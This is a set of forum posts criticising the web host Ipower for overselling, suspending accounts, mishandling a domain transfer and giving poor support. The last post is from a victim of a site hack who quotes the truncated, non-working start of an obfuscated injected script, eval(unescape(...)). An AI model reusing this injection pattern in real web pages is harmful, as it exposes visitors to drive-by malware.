Ipower - Blatant Over Selling, Trying To Kick Me Off With Fake TOS

Dec 16, 2008

Ipower - blatant over selling, trying to kick me off with fake TOS

I am currently being ignored on live chat with Ipower.

They issued me with possibly the stupidest TOS violation imaginable. They claimed that I am using my web space for storing files which is not allowed - it must be site content. The links to the files are public on the site. They have admitted, actually admitted, that the TOS is fake. Yet they have just suspended my directories.

The real reason is because they are over selling disk space. Our contract gives me 2 Tb and I am daring to use 25% of that space. They have told me - straight out - they want me off their server because I am using too much of what I paid for.

Why do web hosts like Ipower believe that they can just ignore the law like this? It is false advertising, fraud and breach of contract. They have expressed their contempt for the law in plain English. What is it with these people? Why must I sue them to have this blatantly stupid matter resolved?

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I would of course fully disclose the fact that they are blades, just wondering if it would matter to any buyers..

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[url]

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[url]

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The e-mail reads:

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I mean, you have a nice and popular company like Media Temple, yet you glance at their usage policy and see this:

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Well if you KNOW that using 100GB of disk space will use too many other server resources, why are you selling that quantity of space? Again, it's not actually being sold, it's an illusion, and I absolutely don't understand how it's legal.

Another example would be like, selling a car that can go 500 KM/h but really by the time you reach 400 KM/h you are already out of gas, so you'll never really get to 500 KM/h.

Can they really advertise the car as having a top speed of 500 KM/h? Come on...

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Posts like "25% of the sites should now be working. MySQL and MS SQL databases will be coming back up soon as well. We estimate that the entire move will be complete at 12PM EST June 25th."

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All I know is I keep getting Emails from support reading, "It should be fixed now".

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31017 titus 18 0 11188 1956 624 D 2 0.0 0:03.98 exim
31132 titus 18 0 11180 1812 504 D 2 0.0 0:00.08 exim
30964 titus 18 0 11180 1812 504 D 1 0.0 0:05.78 exim
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31049 titus 18 0 11192 1812 504 D 1 0.0 0:02.16 exim
30946 titus 18 0 11188 1952 628 D 1 0.0 0:05.96 exim
30951 titus 18 0 11176 1804 504 D 1 0.0 0:05.83 exim
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31027 titus 18 0 11212 1816 504 D 1 0.0 0:03.76 exim
31044 titus 18 0 11188 1812 504 R 1 0.0 0:02.13 exim
31064 titus 18 0 11180 1808 504 D 1 0.0 0:00.50 exim
31096 titus 18 0 11196 1824 504 R 1 0.0 0:00.45 exim
31102 titus 18 0 11188 1824 504 D 1 0.0 0:00.42 exim
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Nov 26, 2007

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May 15, 2006

I visited Cnet.com prior to switch my hosting plan to Ipowerweb, Cnet gave Ipowerweb a Top 10 recommendation and it did help me made up my mind. Well.. It was a huge mistake and now I'm writing formal complains to BBB and the Attorney General. Also, I CC Cnet customer service and urge them to remove Ipowerweb from their recommendation list.

I used to have my domain with register.com and with my pages hosted by hostsave.com for almost 5 years. They're pretty good but a little pricy. So, with only 1/3 of the price, I switched both my domain & hosting to Ipowerweb on 4/7/2006. Normally, you should receive an email notification with username and password within couple hours so you can start to use the CP. But with Ipowerweb, I waited for 3 days and not getting anything, but the domain was transferred (From Register.com). Without any clue, I created a ticket to Ipower requesting the transfer status , the support team gave me a response, which was to have me contact their billing department due to authentication issues. Well, base their instruction, I sent another email to their billing and waited for another 3 days without any response. I just can’t wait any longer, so I called and waited 47 minutes and finally talked to their billing people, said they need a copy of my Visa-card and my Driver license so they can activate my account. Even that sound a little strange and unreasonable, but with a domain down for almost 10 days, I have to do what they ask me to do, so I attached the photo-scan in the return email.. Well, another 3 days passed.. No response !!.. Then I made another call, they claimed that I need to Fax the Photo-scan over instead of emailing (why didn’t they tell me at first place ?) and they gave me a fax number to submit my scan. Well, I tried that number for almost 20 hours (A Modem/Fax Card with automatic dialing for every 5 minutes), for some reason, the fax line was always busy... waited for another 3 days.. Complained over and over but nobody from Ipowerweb even bother to contact me ..

It's now been almost 1.5 month, that I was forced to gave up my domain and to get a new one form my current carrier.. I have to change my email address cause my domain was hijack by Ipowerweb. I sincerely believe they did it on purpose cause there’s no way a company could be so rude and so stupid but still stay in business. Having talking to Ipower People is like talking to a bunch of idiots. Compare with what I'm with now.. Ipower is a joke !!!! … I’m waiting till 6/7/2006 to reclaim my domain back, cause base on ICANN rules, a domain can not be transferred again within 60 days. Even though I know it’s gonna be difficult cause Ipowerweb had my domain locked, but, I’ll still try and I will bring them to court if necessary.

Know what, Just couple of weeks ago, I got an email from Ipowerweb , they asked my to participate a survey and to rank their service level since I've been with them for over a month now, HELLO, GIVE ME A BREAK !!!! ... I CAN NOT even get access to my CP ...

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P.S. I love how they get generic "American" sounding names like Audrey K. or Jim C., etc, yet can't really speak English......

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After googling around about "HTML/Dldr.Iframe.DP [virus]" I found another person who has an ipower account mentioning the exact same problem on their site.

Does anybody know anything abou this?

Has anybody heard anything about ipower sites being recently hacked or something?

How and why has this happened? is my site just special and am I lucky? or has this recently also happened to other ipower accounts to?

I've contacted ipower but expect some generic response of no real help.

Most importantly, should I go through my few pages which comprise in fact my quite small site and check to see if they also have been hacked with malicious javascript code? Should I upload new pages? Change my password?

All of my content looks ok and in place, no pages defaced except apprently this small insertion of malicious javascript cod at the bottom of my main index page.

I have pasted just the basic fragment of the code below -

<script>eval(unescape("%77%69%6e%64%6f .....

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